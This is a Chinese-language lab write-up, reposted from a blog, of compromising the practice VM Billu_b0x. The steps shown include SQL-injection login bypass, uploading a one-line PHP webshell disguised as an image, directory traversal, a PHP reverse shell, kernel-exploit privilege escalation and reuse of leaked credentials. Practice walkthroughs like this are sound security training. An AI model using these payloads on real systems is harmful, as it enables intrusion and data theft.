欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > IT业 > 打靶记录11——Billu_b0x

打靶记录11——Billu_b0x

2024/10/25 1:36:46 来源:https://blog.csdn.net/weixin_64422989/article/details/141229666  浏览:    关键词:打靶记录11——Billu_b0x

靶机:

https://download.vulnhub.com/billu/Billu_b0x.zip

难度:

  • 中(两种攻击路线)

目标:

  • 取得root权限

涉及的攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • SQL注入(Sqlmap跑不出来)
  • 文件包含漏洞
  • 文件上传漏洞
  • 源码审计
  • 内核漏洞提权

注意:

选择包含所有网卡的MAC地址,就能正常获取IP地址了
image.png
但是我用VirtualBox还是获取不到IP,我直接用VMware了,kali和靶机都设置成NAT模式即可

主机发现

arp-scan -l
image.png

端口扫描和服务发现

nmap -p- 192.168.174.135
image.png
nmap -p22,80 -sV -sC 192.168.174.135
image.png

SQL注入

打开浏览器,根据提示Show me your SQLI skills ,那么该页面应该是存在SQL注入这种漏洞类型的
image.png
随便输入提交之后抓包,发到BurpSuiteIntruder模块
image.png
Attack Type选择Cluster bomb集束炸弹
用户名那里使用/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt这个kali里下载的SQL测试的字典
image.png
image.png
密码那里使用burp自带的列表
image.png
image.png
发现到这些个payload的时候就成功登录了,提示You are allowed
image.png
那我们直接用这个登录,账号密码使用or%200%3d0%20%23%22 / =%5c成功登录
image.png
image.png

文件上传漏洞

发现有上传功能,尝试上传一个有一句话木马的shell.php,但是提示only png,jpg and gif file are allowed只能上传图片
image.png
Burp抓包,修改文件名后缀,Content-Type,还有添加GIF89a;文件头之后,成功上传了一个包含了一句话Webshell:<?php system($_GET["cmd"]);?>的图片文件
image.png
Show Users里查看,发现多了一个用户,然后复制图片链接去访问,发现一个新路径
http://192.168.174.135/uploaded_images/shell.png
image.png
访问发现没啥用处
image.png
访问http://192.168.174.135/uploaded_images/也是
image.png
在URL后输入?cmd=id测试一下服务器是否解析了图片里面的代码,也是失败image.png
dirsearch -u http://192.168.174.135/扫描目录发现一个add.php
image.png
看起来和前面的Add Users那里是一样的,那么服务器可能是通过加载a.php的方式在主页面实现这个功能的
image.png
image.png

文件包含漏洞

点击Add Users,然后点击Continue,然后BurpSuite抓包看看
image.png
发现是通过load参数来调用系统文件的
image.png
测试load=/etc/passwd发现不能成功,那用目录穿越的方法,改成load=../../../../../../../etc/passwd就能成功读取到文件,说明确实是存在文件包含的
image.png
image.png
那用刚刚上传了一句话木马的图片试试,发现不行,那么服务器可能是不接受这种形式的方法
image.png

反弹shell

那么我们上传一个反弹shellphp的代码试试,也就是再上传一张伪造的图片,它的扩展名仍然是png,但是内容是反弹shellphp的代码。
使用kali里面自带的/usr/share/webshells/php/php-reverse-shell.ph这个php代码的反弹shell脚本
image.png
上传时还是需要添加上GIF89a;文件头,然后IP和监听端口设置成kali
image.png
image.png
然后让Kali开启nc的监听
image.png
然后再通过文件包含漏洞去访问刚刚上传的图片,触发反弹shell
image.png
成功反弹shell之后,按照惯例升级一下shell
python -c "import pty; pty.spawn('/bin/bash')"
image.png

提权

uname -a发现是3.13的内核版本,是有内核漏洞的利用代码的
image.png
searchsploit 3.13.0搜索,发现一个C语言的代码利用脚本,之前的打靶中有使用过的,就不过多的赘述了,参考:打靶记录1——靶机medium_socnet-CSDN博客
image.png
先把代码复制到当前目录,然后开启http服务
image.png
然后让靶机下载这个exp.c,用gcc把它编译成一个二进制文件,给它执行权限,然后执行就获得root权限了
image.png
image.png
这是一种思路。

思路二

前面信息收集的时候发现了一个test路径
image.png
访问之后发现明显的提示'file' parameter is empty. Please provide file path in 'file' parameter,但是我们输入参数并赋值之后却没有内容显示
image.png
那既然Get方式不成功,还有POST方式
image.png
POST方式就成功读取到了/etc/passwd文件
image.png

任意文件下载漏洞

file=add.php直接获得了源码,说明这不是一个文件包含漏洞,而是任意文件下载漏洞,只会显示代码,不会解析代码。
image.png
那我们查看一下首页index.php,前面SQL注入漏洞的原因可能在代码中会有
image.png

<?php// 开始会话,确保可以使用 $_SESSION 超全局变量session_start();// 包含数据库连接文件和 HTML 头部文件
include('c.php');
include('head.php');// 检查用户是否已登录,如果没有,设置会话变量 'logged' 为一个空字符串
if(@$_SESSION['logged'] != true) {$_SESSION['logged'] = '';
}// 如果用户已登录并且 'admin' 会话变量不为空
if($_SESSION['logged'] == true && $_SESSION['admin'] != '') {// 显示已登录的消息echo "you are logged in :)";// 重定向到 'panel.php'header('Location: panel.php', true, 302);
} else {// 如果用户没有登录,显示登录表单echo '<div align=center style="margin:30px 0px 0px 0px;"><font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> <br><br>Show me your SQLI skills <br><form method=post>Username :- <input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br><input type=submit name=login value="let\'s login">';
}// 检查是否点击了登录按钮
if(isset($_POST['login'])) {// 将'\'替换为''$uname = str_replace('\'', '', urldecode($_POST['un']));$pass = str_replace('\'', '', urldecode($_POST['ps']));// 创建 SQL 查询来检查用户名和密码是否匹配$run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';// 执行 SQL 查询$result = mysqli_query($conn, $run);// 如果查询结果有行,则用户凭据正确if (mysqli_num_rows($result) > 0) {$row = mysqli_fetch_assoc($result);echo "You are allowed<br>";// 设置会话变量以表示用户已登录$_SESSION['logged'] = true;$_SESSION['admin'] = $row['username'];// 重定向到 'panel.php'header('Location: panel.php', true, 302);} else {// 如果凭据不匹配,显示警告信息echo "<script>alert('Try again');</script>";}
}// 显示页脚
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>

主要漏洞在这段代码 $run = 'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'',服务端没有进行严格的筛选和限制

  • \右斜线是转义符,相当于代码里的内容就是一个'单引号
  • 我们注入的账号密码or 0=0 #"和 /实现了万能密码的效果
  • 最终的SQL语句是这样的$run = 'select * from auth where pass='' and uname=' or 0=0 #,0=0永远为真

搞懂了SQL注入漏洞存在的原因之后,继续进行信息收集
c.php里面发现了数据库的账号密码billu``b0x_billu
image.png
前面扫描目录的时候还发现了/phpmy/这个路径,可能是phpmyadmin这个Web界面的管理程序
image.png
发现确实是phpmyadmin,使用刚刚的账号密码billu``b0x_billu成功登录进去了
image.png
image.png
auth表里面发现正常的账号密码biLLu hEx_it,可以直接登录首页
image.png
继续进行目录探测(每当我们有新的目录和路径发现的时候,从渗透、实践的角度来讲,都建议对新发现的子路径、子目录再去进行进一步的爬取,每一个子目录里面都有可能存在更多、更有价值的信息)
dirsearch -u http://192.168.174.135/phpmy/
发现了配置文件的路径/phpmy/config.inc.php
image.png
在配置文件中发现了新的账号密码root``roottoor
image.png
前面信息收集,端口扫描的时候是发现它开启了22端口的,我们尝试用这个账号密码登录一下。
发现我们直接登录进来了,称为了root用户!
image.png

总结:

  • 打完写个Note,天天打不总结都是空。
  • 虽然今天这台靶机并不存在什么高难度的、新型的漏洞类型,但是如果我们能将这种传统的漏洞类型相互结合,综合发挥它们的威力和实力的话,最后发现它能达到的攻击的效果,仍然是非常巧妙,威胁程度也是非常高的。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com